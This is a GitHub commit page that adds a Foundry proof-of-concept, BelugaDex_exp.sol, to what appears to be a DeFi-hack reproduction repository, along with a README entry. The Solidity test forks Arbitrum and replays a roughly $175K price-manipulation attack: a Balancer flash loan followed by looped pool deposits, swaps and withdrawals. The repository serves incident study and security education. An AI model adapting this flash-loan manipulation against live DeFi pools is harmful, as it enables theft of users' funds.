Skip to content

Commit

Permalink
Merge pull request SunWeb3Sec#444 from Kkaminsk86/main
Browse files Browse the repository at this point in the history
Add BelugaDex EXP
  • Loading branch information
SunWeb3Sec authored Oct 14, 2023
2 parents 829f1f6 + 44414a6 commit c9b3939
Show file tree
Hide file tree
Showing 2 changed files with 241 additions and 1 deletion.
27 changes: 26 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,8 @@

**Reproduce DeFi hack incidents using Foundry.**

301 incidents included.

302 incidents included.

Let's make Web3 secure! Join [Discord](https://discord.gg/Fjyngakf3h)

Expand Down Expand Up @@ -34,6 +35,8 @@ All articles are also published on [Substack](https://defihacklabs.substack.com/

## List of Past DeFi Incidents

[20231013 BelugaDex](#20231013-belugadex---price-manipulation)

[20231013 WiseLending](#20231013-wiselending---donate-inflation-exchangerate--rounding-error)

[20231012 Platypus](#20231012-platypus---business-logic-flaw)
Expand Down Expand Up @@ -668,6 +671,28 @@ All articles are also published on [Substack](https://defihacklabs.substack.com/

### List of DeFi Hacks & POCs

### 20231013 BelugaDex - Price manipulation

### Lost: ~$175K

Test

```
forge test --contracts ./src/test/BelugaDex_exp.sol -vvv
```

#### Contract

[BelugaDex_exp.sol](src/test/BelugaDex_exp.sol)

#### Link Reference

https://twitter.com/AnciliaInc/status/1712676040471105870

https://twitter.com/CertiKAlert/status/1712707006979613097

---

### 20231013 WiseLending - Donate Inflation ExchangeRate && Rounding Error

### Lost: ~$260K
Expand Down
215 changes: 215 additions & 0 deletions src/test/BelugaDex_exp.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,215 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

// @KeyInfo - Total Lost : ~$175K
// Attacker : https://arbiscan.io/address/0x4843e00ef4c9f9f6e6ae8d7b0a787f1c60050b01
// Attack Contract : https://arbiscan.io/address/0x9e8675365366559053f964be5838d5fca008722c
// Vulnerable Contract : https://arbiscan.io/address/0x15a024061c151045ba483e9243291dee6ee5fd8a
// Attack Tx : https://arbiscan.io/tx/0x57c96e320a3b885fabd95dd476d43c0d0fb10500d940d9594d4a458471a87abe

// @Analysis
// https://twitter.com/AnciliaInc/status/1712676040471105870
// https://twitter.com/CertiKAlert/status/1712707006979613097

interface IPool {
function deposit(
address token,
uint256 amount,
address to,
uint256 deadline
) external returns (uint256 liquidity);

function quotePotentialWithdraw(
address token,
uint256 liquidity
) external view returns (uint256 amount, uint256 fee, bool enoughCash);

function swap(
address fromToken,
address toToken,
uint256 fromAmount,
uint256 minimumToAmount,
address to,
uint256 deadline
) external returns (uint256 actualToAmount, uint256 haircut);

function withdraw(
address token,
uint256 liquidity,
uint256 minimumAmount,
address to,
uint256 deadline
) external returns (uint256 amount);
}

contract ContractTest is Test {
IERC20 private constant USDT =
IERC20(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);
IERC20 private constant USDCe =
IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);
IERC20 private constant WETH =
IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);
IERC20 private constant USDT_LP =
IERC20(0xCFf307451E52B7385A7538f4cF4A861C7a60192B);
IERC20 private constant USDC_LP =
IERC20(0x7CC32EE9567b48182E5424a2A782b2aa6cD0B37b);
IBalancerVault private constant Vault =
IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
IPool private constant Pool =
IPool(0x15A024061c151045ba483e9243291Dee6Ee5fD8A);
IPancakeRouter private constant SushiRouter =
IPancakeRouter(payable(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506));

function setUp() public {
vm.createSelectFork("arbitrum", 140129166);
vm.label(address(USDT), "USDT");
vm.label(address(USDCe), "USDCe");
vm.label(address(WETH), "WETH");
vm.label(address(Vault), "Vault");
vm.label(address(USDT_LP), "USDT_LP");
vm.label(address(USDC_LP), "USDC_LP");
vm.label(address(Pool), "Pool");
vm.label(address(SushiRouter), "SushiRouter");
}

function testExploit() public {
deal(address(this), 0 ether);
USDT.approve(address(SushiRouter), type(uint256).max);
USDCe.approve(address(SushiRouter), type(uint256).max);

address[] memory tokens = new address[](2);
tokens[0] = address(USDT);
tokens[1] = address(USDCe);
uint256[] memory amounts = new uint256[](2);
amounts[0] = USDCe.balanceOf(address(USDC_LP)) * 2;
amounts[1] = USDT.balanceOf(address(USDT_LP)) * 3;

Vault.flashLoan(address(this), tokens, amounts, abi.encode(1));
swapTokensSushi(USDT, USDT.balanceOf(address(this)));
swapTokensSushi(USDCe, USDCe.balanceOf(address(this)));

emit log_named_decimal_uint(
"Attacker ETH balance after exploit",
address(this).balance,
18
);
}

function receiveFlashLoan(
address[] calldata tokens,
uint256[] calldata amounts,
uint256[] calldata feeAmounts,
bytes calldata userData
) external {
USDT.approve(address(Pool), type(uint256).max);
USDCe.approve(address(Pool), type(uint256).max);
USDT_LP.approve(address(Pool), type(uint256).max);
USDC_LP.approve(address(Pool), type(uint256).max);

uint256[] memory potentialWithdraws = new uint256[](10);
potentialWithdraws[0] = 262_774_935_488;
potentialWithdraws[1] = 281_538_919_198;
potentialWithdraws[2] = 289_459_196_390;
potentialWithdraws[3] = 297_534_181_283;
potentialWithdraws[4] = 311_074_071_725;
potentialWithdraws[5] = 329_085_528_111;
potentialWithdraws[6] = 350_236_264_578;
potentialWithdraws[7] = 374_148_346_983;
potentialWithdraws[8] = 400_443_817_669;
potentialWithdraws[9] = 428_928_171_469;

uint8 i;
while (i < 10) {
uint256 amountDeposit1 = USDCe.balanceOf(address(USDC_LP)) * 2;
uint256 amountDeposit2 = USDT.balanceOf(address(USDT_LP)) * 3;
uint256 amountSwap1 = amountDeposit2 - amountDeposit2 / 3;
uint256 diffUSDT = USDT.balanceOf(address(this)) - amountDeposit1;
uint256 diffUSDCe = USDCe.balanceOf(address(this)) - amountDeposit2;

deposit(address(USDT), amountDeposit1);
deposit(address(USDCe), amountDeposit2 / 3);
Pool.swap(
address(USDCe),
address(USDT),
amountSwap1,
0,
address(this),
block.timestamp + 1000
);

// Not working logic. I leave this for the future update
// uint256 liquidity = USDT_LP.balanceOf(address(this));
// uint8 j;
// while (j < 20) {
// uint256 doubledLiquidity = liquidity * 2;
// liquidity = doubledLiquidity >> 1;
// Pool.quotePotentialWithdraw(address(USDT), liquidity);
// ++j;
// }

withdraw(address(USDT), potentialWithdraws[i]);

uint256 fromAmountUSDT = (USDT.balanceOf(address(this)) -
diffUSDT) * 3;
Pool.swap(
address(USDT),
address(USDCe),
fromAmountUSDT >> 2,
0,
address(this),
block.timestamp + 1000
);

withdraw(address(USDT), USDT_LP.balanceOf(address(this)));

uint256 fromAmountUSDCe = (USDCe.balanceOf(address(this)) -
diffUSDCe);
Pool.swap(
address(USDCe),
address(USDT),
fromAmountUSDCe >> 1,
0,
address(this),
block.timestamp
);

withdraw(address(USDCe), USDC_LP.balanceOf(address(this)));
++i;
}
USDT.transfer(address(Vault), amounts[0]);
USDCe.transfer(address(Vault), amounts[1]);
}

function deposit(address token, uint256 amount) internal {
Pool.deposit(address(token), amount, address(this), block.timestamp);
}

function withdraw(address token, uint256 amount) internal {
Pool.withdraw(
address(token),
amount,
0,
address(this),
block.timestamp + 1000
);
}

function swapTokensSushi(IERC20 token, uint256 amount) internal {
address[] memory path = new address[](2);
path[0] = address(token);
path[1] = address(WETH);

SushiRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
amount,
0,
path,
address(this),
block.timestamp + 1000
);
}

receive() external payable {}
}

0 comments on commit c9b3939

Please sign in to comment.